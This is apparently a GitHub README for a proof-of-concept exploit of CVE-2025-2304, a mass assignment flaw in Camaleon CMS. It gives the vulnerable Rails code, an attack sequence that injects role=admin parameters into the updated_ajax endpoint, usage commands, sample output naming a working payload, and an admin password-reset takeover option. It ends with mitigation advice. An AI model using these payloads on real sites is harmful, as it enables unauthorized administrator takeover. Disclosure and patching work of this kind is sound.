CVE-2025-2304 PoC - Camaleon CMS Privilege Escalation

A Proof of Concept (PoC) exploit for CVE-2025-2304, a critical mass assignment vulnerability in Camaleon CMS that allows privilege escalation from low-privileged users to administrators.

    ██████╗ ██████╗ ██╗   ██╗███╗   ██╗ ██████╗ ███╗   ███╗██╗
    ██╔══██╗╚════██╗██║   ██║████╗  ██║██╔═████╗████╗ ████║██║
    ██║  ██║ █████╔╝██║   ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
    ██║  ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
    ██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
    ╚═════╝ ╚═════╝   ╚═══╝  ╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚═╝╚═╝

📋 Table of Contents

• Overview
• Vulnerability Details
• Features
• Installation
• Usage
• Examples
• Affected Versions
• Mitigation
• Disclaimer
• References
• Author

🔍 Overview

CVE-2025-2304 is a critical mass assignment vulnerability in Camaleon CMS that exists in the updated_ajax method of the UsersController. The vulnerability stems from the use of the dangerous permit! method in Rails, which allows all parameters to pass through without any filtering.

This PoC demonstrates how an authenticated user with low privileges can escalate to administrator role by injecting unauthorized parameters during password change operations.

CVSS Score: 9.4 (Critical)

🐛 Vulnerability Details

Root Cause

The vulnerable code uses params.require(:user).permit! which accepts all user-supplied parameters without validation:

def updated_ajax
  user_params = params.require(:user).permit!  # DANGEROUS!
  current_user.update(user_params)
end

Exploitation

An attacker can inject additional parameters like user[role]=admin alongside legitimate password change fields, causing the application to update the user's role to administrator.

Attack Vector:

1. Authenticate as a low-privileged user (e.g., "client" role)
2. Send crafted POST request to /admin/users/{id}/updated_ajax
3. Inject user[role]=admin parameter
4. User role escalates to administrator

✨ Features

• ✅ Safe Testing: Preserves user password during exploitation
• ✅ Multiple Payloads: Tests 7+ different injection techniques
• ✅ Version Detection: Automatically detects vulnerable CMS versions
• ✅ Non-Destructive Option: --no-password-field flag for safest testing
• ✅ Proxy Support: Integrates with Burp Suite/ZAP for manual analysis
• ✅ Verbose Mode: Detailed output for debugging
• ✅ Admin Takeover: Optional admin password reset attack
• ✅ Color-Coded Output: Clear visual indicators for success/failure

📦 Installation

Requirements

• Python 3.7+
• pip (Python package manager)

Clone Repository

git clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc

Install Dependencies

pip install -r requirements.txt

Or install manually:

pip install requests beautifulsoup4

🚀 Usage

Basic Syntax

python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]

Command-Line Options

positional arguments:
  target                Target URL (e.g., http://target.com)

required arguments:
  -u, --username        Existing username for authentication
  -p, --password        User password

optional arguments:
  -h, --help            Show help message and exit
  -v, --verbose         Verbose output (show all requests)
  --proxy PROXY         HTTP proxy for traffic inspection (e.g., http://127.0.0.1:8080)
  --no-password-field   Test exploitation without password fields (safest)
  --skip-admin-test     Skip destructive admin password reset test

📚 Examples

Standard Test (Recommended)

Test with existing user credentials while preserving the password:

python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123

Safest Test (No Password Fields)

Test without including password fields in the exploit payload:

python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field

With Burp Suite Proxy

Route traffic through Burp Suite for manual inspection:

python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080

Verbose Mode

Enable detailed output showing all requests and responses:

python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v

Skip Destructive Tests

Test privilege escalation only, skip admin password reset:

python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test

📊 Sample Output

    ██████╗ ██████╗ ██╗   ██╗███╗   ██╗ ██████╗ ███╗   ███╗██╗
    ██╔══██╗╚════██╗██║   ██║████╗  ██║██╔═████╗████╗ ████║██║
    ██║  ██║ █████╔╝██║   ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
    ██║  ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
    ██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
    ╚═════╝ ╚═════╝   ╚═══╝  ╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚═╝╚═╝

============================================================
   CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
   Mass Assignment Vulnerability Tester
   Author: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================

[*] Target: http://target.com
[*] Username: testuser
[*] Password: **********

[*] Logging in as testuser...
[+] Successfully logged in

[*] Checking CMS version...
[*] Detected version: 2.9.0
[+] Version is VULNERABLE (< 2.9.1)

============================================================
[*] Testing CVE-2025-2304 Mass Assignment Vulnerability
============================================================

[*] Target User: testuser (ID: 7)
[*] Current Role: Client (client)
[*] Password will remain unchanged

[1/7] Testing: AJAX endpoint - user[role]
    ✗ Failed
[2/7] Testing: AJAX endpoint - password[role]
============================================================
[+] EXPLOITATION SUCCESSFUL!
============================================================
[+] Privilege Escalation: Client → Administrator
[+] Vulnerable Endpoint: /admin/users/7/updated_ajax
[+] Working Payload: {'password[role]': 'admin'}
[+] Password Unchanged: User can still login normally
[+] CVE-2025-2304 CONFIRMED!

[✓] CVE-2025-2304 VULNERABILITY CONFIRMED

🎯 Affected Versions

Version	Status
< 2.9.1	❌ Vulnerable
≥ 2.9.1	✅ Patched

Specifically vulnerable:

• Camaleon CMS 2.9.0
• Camaleon CMS 2.8.x and earlier

🛡️ Mitigation

Immediate Actions

1. Upgrade to version 2.9.1 or later

   gem update camaleon_cms
   

2. Audit User Accounts

   • Check for unexpected privilege changes
   • Review user role modification logs
   • Look for suspicious POST requests to /users/*/updated_ajax

3. Force Password Resets (if compromised)

   • Reset passwords for all privileged accounts
   • Invalidate existing sessions

Long-Term Prevention

Secure Code Pattern:

Replace dangerous permit! with explicit whitelisting:

# Before (VULNERABLE)
def updated_ajax
  user_params = params.require(:user).permit!
  current_user.update(user_params)
end

# After (SECURE)
def updated_ajax
  user_params = params.require(:user).permit(:password, :password_confirmation)
  current_user.update(user_params)
end